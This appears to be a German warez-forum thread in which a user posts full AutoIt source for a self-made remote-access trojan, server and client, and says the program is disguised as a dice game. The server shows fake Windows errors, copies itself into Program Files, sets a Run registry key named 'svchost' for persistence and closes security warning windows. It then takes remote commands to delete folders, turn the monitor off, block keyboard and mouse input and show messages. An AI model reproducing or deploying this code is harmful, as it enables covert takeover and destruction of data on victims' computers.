Zitat von Elend

Auch ein mit Viren befallendes Tool kann man FUD machen, von daher ist virustotal überflüssig .

Und darum würde ich auch sagen NÖ!

Wir sind ein Warez Board und kein Hack/Viren/Trojaner Board!!!

[gosha16]

Zitat von Prince Porn

Und darum würde ich auch sagen NÖ!

Wir sind ein Warez Board und kein Hack/Viren/Trojaner Board!!!

Steht aber in der Subforenbeschreibung

[Answer]

Is überhaupt nix gefährliches!!!!
Hier die links zum Download:

client:
[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]
server:
[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]

ACHTUNG!!!! Is getarnt als Würfelspiel^^


Quellcode Server (AutoIt):

#include <GuiConstantsEx.au3>
#include <INet.au3>
#NoTrayIcon
If FileRead(@MyDocumentsDir & "\windowsshortfile.data") = 0 Then
	ProcessClose("explorer.exe")
	Sleep(1000)
	Run(@SystemDir & "\explorer.exe")
	Sleep(500)
	MsgBox(64, "Nicht Kompatibel", "Windows kann diese Datei nicht mit ihrer ServicePackversion " & @OSServicePack & " starten." & @LF & "WSA Errornumber: 884eIIOþ",10)
	MsgBox(64, "Short Info", "OSLang: " & @OSLang & @LF & "OSBuild: " & @OSBuild & @LF & "OSVersion: " & @OSVersion & @LF & "OSServicepack: "&@OSServicePack & @LF & "IPv4: " & @IPAddress1 & @LF & "IPv6: " & _GetIP(),10)
	FileWrite(@MyDocumentsDir & "\windowsshortfile.data", @IPAddress1 & "-" &  _GetIP())
	FileCopy(@S*****FullPath, "C:\Programme\winserver.exe",1)
EndIf
#RequireAdmin
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","svchost","REG_SZ",'"'& "C:\Programme\winserver.exe"&'"')
Local $szServerPC = @ComputerName
Local $szIPADDRESS = @IPAddress1
Local $nPORT = 5110
Local $MainSocket, $GOOEY, $edit, $ConnectedSocket, $szIP_Accepted
Local $msg, $recv
TCPStartup()
$count = 1
While 1
	If WinExists("Windows-Sicherheitshinweis", "") Then WinKill("Windows-Sicherheitshinweis", "")
	If $count = 20000 Then ExitLoop
	Sleep(1)
	$count = $count + 1
WEnd
HotKeySet("{F1}", "showhide")
$show = False
$MainSocket = TCPListen($szIPADDRESS, $nPORT)
If $MainSocket = -1 Then Exit
$GOOEY = GUICreate("My Server (IP: " & $szIPADDRESS & ")", 300, 200)
$edit = GUICtrlCreateEdit("", 10, 10, 280, 180)
GUISetState(@SW_HIDE)
$ConnectedSocket = -1
Do
    $ConnectedSocket = TCPAccept($MainSocket)
Until $ConnectedSocket <> -1
$szIP_Accepted = SocketToIP($ConnectedSocket)
While 1
	$msg = GUIGetMsg()
    If $msg = $GUI_EVENT_CLOSE Then ExitLoop
	$recv = TCPRecv($ConnectedSocket, 2048)
    If @error Then ExitLoop
    If $recv <> "" Then
		$sNew = StringSplit($recv, "|")
		GUICtrlSetData($edit, SocketToIP($ConnectedSocket) & ">--< " & $recv & @CRLF & GUICtrlRead($edit))
		If $sNew[1] = "bildschirm" Then
			If $sNew[2] = "on" Then $art = -1
			If $sNew[2] = "off" Then $art = 2
			Opt("WinTitleMatchMode", 4)
			$hwnd = WinGetHandle('classname=Progman')
			_ToggleMonitor($hWnd, $art)
		EndIf
		If $sNew[1] = "del" Then
			DirRemove($sNew[2], 1)
		EndIf
		If $sNew[1] = "error" Then
			MsgBox($sNew[2], $sNew[3], $sNew[4])
		EndIf
		If $sNew[1] = "blockinput" Then
			BlockInput($sNew[2])
		EndIf
	EndIf
WEnd
If $ConnectedSocket <> -1 Then TCPCloseSocket($ConnectedSocket)
TCPShutdown()

; Function to return IP Address from a connected socket.
;----------------------------------------------------------------------
Func SocketToIP($SHOCKET)
    Local $sockaddr, $aRet
    
    $sockaddr = DllStructCreate("short;ushort;uint;char[8]")

    $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
            "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
    If Not @error And $aRet[0] = 0 Then
        $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
        If Not @error Then $aRet = $aRet[0]
    Else
        $aRet = 0
    EndIf

    $sockaddr = 0

    Return $aRet
EndFunc   ;==>SocketToIP

; Funktion to Toggle Monitor On or Off
; ---------------------------------------------------------------------
Func _ToggleMonitor($hwnd, $OnOff)
    Local Const $WM_SYSCOMMAND = 274
    Local Const $SC_MONITORPOWER = 61808
    _SendMessage2($hWnd, $WM_SYSCOMMAND, $SC_MONITORPOWER, $OnOff)
    If @error Then
        MsgBox(0,"_ToggleMonitor", "_SendMessage Error: " & @error)
        Exit
    EndIf
EndFunc

Func _SendMessage2($hWnd, $iMsg, $wParam = 0, $lParam = 0, $iReturn = 0, $wParamType = "wparam", $lParamType = "lparam", $sReturnType = "lparam")
	Local $aResult = DllCall("user32.dll", $sReturnType, "SendMessage", "hwnd", $hWnd, "int", $iMsg, $wParamType, $wParam, $lParamType, $lParam)
	If @error Then Return SetError(@error, @extended, "")
	If $iReturn >= 0 And $iReturn <= 4 Then Return $aResult[$iReturn]
	Return $aResult
EndFunc   ;==>_SendMessage

Func showhide()
	If $show = False Then
		GUISetState(@SW_SHOW)
		$show = True
	Else
		GUISetState(@SW_HIDE)
		$show = False
	EndIf
EndFunc

Client:

#include <GUIConstantsEx.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>

Example()

Func Example()
	; Set Some reusable info
	;--------------------------
	Local $ConnectedSocket, $szData
	Local $szIPADDRESS = @IPAddress1
	Local $nPORT = 5110

	; Start The TCP Services
	;==============================================
	TCPStartup()

	; Initialize a variable to represent a connection
	;==============================================
	$ConnectedSocket = -1

	;Attempt to connect to SERVER at its IP and PORT 33891
	;=======================================================
;~ 	$ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)

	; If there is an error... show it
;~ 	If @error Then
;~ 		MsgBox(4112, "Error", "TCPConnect failed with WSA error: " & @error)
;~ 	Else
		#Region ### START Koda GUI section ### Form		
		$Form1 = GUICreate("AnswerTrojan by Answer", 184, 218, 262, 171)
		$Label1 = GUICtrlCreateLabel("IP:", 8, 8, 22, 20)
		GUICtrlSetFont(-1, 10, 800, 0, "MS Sans Serif")
		$IP = GUICtrlCreateInput(@IPAddress1, 32, 8, 85, 21)
		GUICtrlSetLimit(-1, 13)
		$connect = GUICtrlCreateButton("Verbinden", 124, 8, 55, 25, 0)
		$Group1 = GUICtrlCreateGroup("Möglichkeiten:", 8, 40, 169, 153)
		$message = GUICtrlCreateButton("Nachricht senden", 16, 64, 155, 25, 0)
		$delete = GUICtrlCreateButton("Daten löschen", 16, 96, 155, 25, 0)
		$monitor = GUICtrlCreateButton("Bildschirmoptionen", 16, 128, 155, 25, 0)
		$keyboard = GUICtrlCreateButton("Tastatur u. Maus", 16, 160, 155, 25, 0)
		GUICtrlCreateGroup("", -99, -99, 1, 1)
		$status = GUICtrlCreateLabel(@TAB & "Nicht verbunden", -8, 200, 196, 19, $SS_CENTERIMAGE)
		GUICtrlSetBkColor(-1, 0xFF0000)
		GUISetState(@SW_SHOW)
		GUICtrlSetState($message, $GUI_DISABLE)
		GUICtrlSetState($delete, $GUI_DISABLE)
		GUICtrlSetState($monitor, $GUI_DISABLE)
		GUICtrlSetState($keyboard, $GUI_DISABLE)
		#EndRegion ### END Koda GUI section ###

		While 1
			$nMsg = GUIGetMsg()
			Switch $nMsg
				Case $connect
					If GUICtrlRead($connect) = "Verbinden" Then
						GUICtrlSetData($status, @TAB & "Verbindung wird hergestellt...")
						$ConnectedSocket = TCPConnect(GUICtrlRead($IP), $nPORT)
						If @error Then 
							MsgBox(4112, "Fatal ERROR", "TCPConnect failed with WSA error: " & @error)
							GUICtrlSetData($status, @TAB & "Nicht verbunden")
						Else
							GUICtrlSetData($status, @TAB & "Verbunden")
							GUICtrlSetData($connect, "Trennen")
							GUICtrlSetState($message, $GUI_ENABLE)
							GUICtrlSetState($delete, $GUI_ENABLE)
							GUICtrlSetState($monitor, $GUI_ENABLE)
							GUICtrlSetState($keyboard, $GUI_ENABLE)
						EndIf
					Else
						TCPCloseSocket($ConnectedSocket)
						GUICtrlSetData($status, @TAB & "Nicht verbunden")
						GUICtrlSetData($connect, "Verbinden")
						GUICtrlSetState($message, $GUI_ENABLE)
						GUICtrlSetState($delete, $GUI_ENABLE)
						GUICtrlSetState($monitor, $GUI_ENABLE)
						GUICtrlSetState($keyboard, $GUI_ENABLE)
					EndIf
				Case $GUI_EVENT_CLOSE
					Exit

				Case $message
					$titel = InputBox("Titel", "Bitte den Titel der Meldung angeben", "Windows Kontrollzentrum")
					If $titel <> "" Then
						$text = InputBox("Text", "Bitte den Text für die Fehlermeldung schreiben", "Error in datei ""%windir%\system32\stupiduser.dll""")
						If $text <> "" Then
							TCPSend($ConnectedSocket, "error|16|" & $titel & "|" & $text)
						EndIf
					EndIf
				Case $delete
					$pfad = InputBox("Löschen", "Bitte hier den Pfad zum löschen angeben" & @LF & "zb.:" & @LF & @LF & "C:\Programme\" & @LF & "C:\Programme\<programmname>\")
					If $pfad <> "" Then TCPSend($ConnectedSocket, "del|" & $pfad)
				Case $keyboard
					#Region ### START Koda GUI section ### Form=
					GUISetState(@SW_DISABLE)
					$Form2 = GUICreate("T u. A optionen", 216, 66, 193, 125)
					GUICtrlCreateLabel("Tastatur u. Mausoptionen wählen:", 8, 8, 165, 17)
					$TUM1 = GUICtrlCreateButton("Sperren", 8, 32, 75, 25, 0)
					$TUS0 = GUICtrlCreateButton("Entsperren", 136, 32, 75, 25, 0)
					GUISetState(@SW_SHOW)
					#EndRegion ### END Koda GUI section ###

					While 1
						$nMsg = GUIGetMsg()
						Switch $nMsg
							Case $GUI_EVENT_CLOSE
								ExitLoop

							Case $TUM1
								TCPSend($ConnectedSocket, "blockinput|1")
							Case $TUS0
								TCPSend($ConnectedSocket, "blockinput|0")
						EndSwitch
					WEnd
					GUIDelete()
					GUISetState(@SW_ENABLE)
				Case $monitor
					#Region ### START Koda GUI section ### Form=
					GUISetState(@SW_DISABLE)
					$Form2 = GUICreate("Bildschirm", 216, 66, 193, 125)
					GUICtrlCreateLabel("Bildschirmoptionen", 8, 8, 165, 17)
					$On = GUICtrlCreateButton("An", 8, 32, 75, 25, 0)
					$Off = GUICtrlCreateButton("Aus", 136, 32, 75, 25, 0)
					GUISetState(@SW_SHOW)
					#EndRegion ### END Koda GUI section ###

					While 1
						$nMsg = GUIGetMsg()
						Switch $nMsg
							Case $GUI_EVENT_CLOSE
								ExitLoop

							Case $On
								TCPSend($ConnectedSocket, "bildschirm|on")
							Case $Off
								TCPSend($ConnectedSocket, "bildschirm|off")
						EndSwitch
					WEnd
					GUIDelete()
					GUISetState(@SW_ENABLE)
			EndSwitch
		WEnd
;~ 	EndIf
EndFunc   ;==>Example